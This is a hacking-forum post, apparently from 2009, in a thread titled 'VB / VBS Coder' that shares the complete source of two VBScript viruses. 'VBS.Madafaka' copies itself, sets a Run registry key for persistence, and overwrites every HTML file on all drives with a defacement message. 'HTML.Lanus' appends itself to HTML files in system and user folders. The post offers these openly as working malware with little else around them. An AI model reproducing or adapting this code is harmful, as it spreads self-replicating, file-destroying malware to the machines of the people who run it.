Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
VB / VBS Coder
#18
'VBS.Madafaka
on error resume next
Dim Fso, Drives, Drive, Folder, Files, File, Subfolders,Subfolder
Set Fso=createobject("scripting.filesystemobject")
Set w = fso.GetFile(WScript.ScriptFullName)
w.Copy ("C:\xendni.html.vbs")
Set vrc2 = CreateObject( "WScript.Shell" )
vrc2.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & "xendni html", ("C:\xendni.html.vbs")
Set Drives=fso.drives
For Each Drive in Drives
If drive.isready then
Dosearch drive
end If
Next
'coded by ACIdCooKie / www.vxbiolabs.cjb.net
Function Dosearch(Path)
Set Folder=fso.getfolder(path)
Set Files = folder.files
For Each File in files
If fso.GetExtensionName(file.path)="htm" or fso.GetExtensionName(file.path)="html" then
Set Script = Fso.CreateTextFile(file.path, True)
Script.Writeline "<html>"
Script.Writeline "<b>INFECTED VBS.Madafaka / coded by ACIdCooKie</b><br><br>"
Script.Writeline "<b>http://www.vxbiolabs.cjb.net</b> Visit Web Site</a><br><br><br><center><font size=15>- VxBioLabs -<br><b> Specie & ACIdCooKie </b></center><br><br><br><font size=5>"
Script.Writeline "Don't play white me baby :)"
Script.Writeline "<br>M.a.d.a f.a.k.a"
Script.Writeline "</html>"
Script.Close
end if
Next
Set Subfolders = folder.SubFolders
For Each Subfolder in Subfolders
Dosearch Subfolder.path
Next
end function
'VBS.Madafaka / acidcookie



--------------------------------------------------------------------------------------------finish--------------------



Virus Name: HTML.Lanus
Author: Zulu
Origin: Argentina

Encoded VBScript virus. It infects HTM and HTML files.
It has no payload and the virus code will be appended at the end of the file.
It's very simple, I wrote it because I didn't find any encoded VBScript virus, so this one is
the first.

Changes between 1.1 and 1.2:

- Added "On Error Resume Next" line.

Changes between 1.0 and 1.1:

- 1.0 didn't work with Internet Explorer 5. It was tested when I wrote it with Internet
Explorer 4 using VBScript 5.0 beta and Script Encoder beta. It seems that something change in
the final versions so I encoded it with the new versions to make it work.
- Two new infection directories.

Here is the code from version 1.2 without encoding:

<!--HTML.Lanus-->
<Script Language="VBScript">
On Error Resume Next
Dim A1(6)
Randomize
If Location.Protocol = "file:" And Int((3 - 1 + 1) * Rnd + 1) = 1 Then
Set A2 = CreateObject("Scripting.FileSystemObject")
Set A3 = CreateObject("WScript.Shell")
A1(0) = A2.GetParentFolderName(A2.GetParentFolderName(Replace(Location.PathName,"/","")))
A1(1) = A2.GetSpecialFolder(1)
A1(2) = A2.GetSpecialFolder(2)
A1(3) = A2.BuildPath(A2.GetSpecialFolder(0),"HELP")
A1(4) = A3.SpecialFolders("AllUsersDesktop")
A1(5) = A3.SpecialFolders("Desktop")
A1(6) = A3.SpecialFolders("MyDocuments")
For A4 = 0 To 6
If A2.FolderExists(A1(A4)) = True Then
B A1(A4)
End If
Next
End If
Sub B(B1)
For Each B2 In A2.GetFolder(B1).Files
If UCase(A2.GetExtensionName(B2)) = "HTM" Or UCase(A2.GetExtensionName(B2)) = "HTML" Then
Set B3 = A2.OpenTextFile(B2,1)
Do While B3.AtEndOfStream = False And B4 <> "<!--HTML.Lanus-->"
B4 = B3.ReadLine
Loop
B3.Close
If B4 <> "<!--HTML.Lanus-->" Then
C B2
End If
End If
Next
Set B5 = A2.GetFolder(B1)
If B5.IsRootFolder = False Then
For Each B6 In B5.SubFolders
B B6
Next
End If
End Sub
Sub C(C1)
Set C2 = A2.GetFile(C1)
C3 = C2.Attributes
If C3 <> 0 Then
C2.Attributes = 0
End If
Set C4 = A2.OpenTextFile(Replace(Location.PathName,"/",""),1)
Set C5 = A2.OpenTextFile(C1,8)
C5.WriteLine("")
Do While C6 <> "<!--HTML.Lanus-->"
C6 = C4.ReadLine
Loop
C5.WriteLine(C6)
C5.WriteLine(C4.ReadLine)
C4.Close
C5.Close
If C3 <> 0 Then
C2.Attributes = C3
End If
End Sub
</Script>
komputerku ada keyboardnya dan juga ada tikusnya
Reply


Messages In This Thread
VB / VBS Coder - by samu1241 - 06-05-2009, 11:20 AM
RE: VB / VBS Coder - by samu1241 - 06-08-2009, 10:41 AM
RE: VB / VBS Coder - by paraSHIT - 06-25-2009, 02:56 PM
RE: VB / VBS Coder - by hetz96 - 06-08-2009, 04:38 PM
RE: VB / VBS Coder - by samu1241 - 06-08-2009, 04:47 PM
RE: VB / VBS Coder - by hetz96 - 06-08-2009, 05:20 PM
RE: VB / VBS Coder - by samu1241 - 06-08-2009, 05:46 PM
RE: VB / VBS Coder - by hetz96 - 06-08-2009, 06:02 PM
RE: VB / VBS Coder - by samu1241 - 06-09-2009, 04:49 PM
RE: VB / VBS Coder - by gt_portnoy - 06-08-2009, 08:43 PM
RE: VB / VBS Coder - by ArRay - 06-09-2009, 07:47 PM
RE: VB / VBS Coder - by hetz96 - 06-09-2009, 09:22 PM
RE: VB / VBS Coder - by samu1241 - 06-10-2009, 09:13 AM
RE: VB / VBS Coder - by samu1241 - 06-25-2009, 03:40 PM
RE: VB / VBS Coder - by Hyda - 07-02-2009, 10:08 PM
RE: VB / VBS Coder - by samu1241 - 07-04-2009, 09:19 AM
RE: VB / VBS Coder - by M40 - 07-09-2009, 10:38 PM
RE: VB / VBS Coder - by samu1241 - 07-10-2009, 10:23 AM
RE: VB / VBS Coder - by Bejamz - 07-10-2009, 12:52 PM
RE: VB / VBS Coder - by hellprompt - 12-16-2009, 12:29 PM
RE: VB / VBS Coder - by Jacket^Cyber - 12-16-2009, 01:45 PM
RE: VB / VBS Coder - by abu adam - 01-23-2010, 08:19 PM
RE: VB / VBS Coder - by vba - 01-23-2010, 09:11 PM
RE: VB / VBS Coder - by ranggamagic - 01-31-2010, 12:36 PM
RE: VB / VBS Coder - by Nayuta - 03-02-2010, 08:03 PM
RE: VB / VBS Coder - by sky_oot - 03-07-2010, 01:46 PM
RE: VB / VBS Coder - by dias11 - 03-07-2010, 04:35 PM
RE: VB / VBS Coder - by Jacket^Cyber - 03-07-2010, 08:02 PM
RE: VB / VBS Coder - by dias11 - 03-07-2010, 10:26 PM

Forum Jump:


Users browsing this thread: 1 Guest(s)